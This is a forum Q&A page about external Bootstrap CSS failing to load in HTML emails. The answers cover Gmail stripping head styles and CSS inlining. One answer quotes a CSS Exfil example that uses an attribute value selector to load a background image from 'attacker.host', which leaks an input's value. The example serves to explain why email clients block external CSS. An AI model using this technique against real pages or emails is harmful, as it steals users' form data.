Menu
I have Done a Html format Email system... So over there I can able to send email In html format..With internal CSS
Now I have done same with external bootstrap CSS..
over there CSS is missing. Hence I am using an External bootstrap css this is my external css link
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">
However external bootstrap CSS is loading when I run it as an Html page.
But its not working In Email
Please suggest me regarding this..
348
With an external style sheet, you can change the look of an entire website by changing just one file! Each HTML page must include a reference to the external style sheet file inside the <link> element, inside the head section.
No, it is not okay to put a link element in the body tag. See the specification (links to the HTML4.
For more email template guidelines : http://earthintegrate.com/guidelines-for-creating-an-html-email-template/
Good Luck !
Srivin Prabhash
166
Gmail will strip everything in the <head>, that's just how they made it.
What you can do is to use a service like mailchips inline-css generator, to make all of the inline codes for you.
40
The reason for blocking external CSS is that it provides the same tracking ability that tracking pixels do - a given email is requesting data from a remote server in order to be able to render the page. Thus, no reasonable email client is going to allow you an uncontrolled CSS external link.
This abuse of CSS can be taken to the length of a complete CSS Keylogger which was discussed at length in Mike Gualtieri's post.
Quoting Mike:
The CSS Exfil attack centers around the CSS 'value selectors', which can be used to parse HTML tag attribute data.
This simple example demonstrates how these selectors can be abused:
<style>
#username[value="mikeg"] {
background:url("https://attacker.host/mikeg");
}
</style>
<input id="username" value="mikeg" />
In the above example, when the HTML/CSS is rendered in a web browser, a background image is loaded on a remote host controlled by the attacker, indicating the value of the input is 'mikeg'. To make the attack more useful, additional text parsing is required. Below are several proof of concept exploits demonstrating the variety, scope, and severity of potential attacks.
As mentioned in this Hacker news thread, it is prudent to leave password inputs completely uncontrolled, i.e. let the browser do its normal thing for updating the DOM based on user input.
21
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With
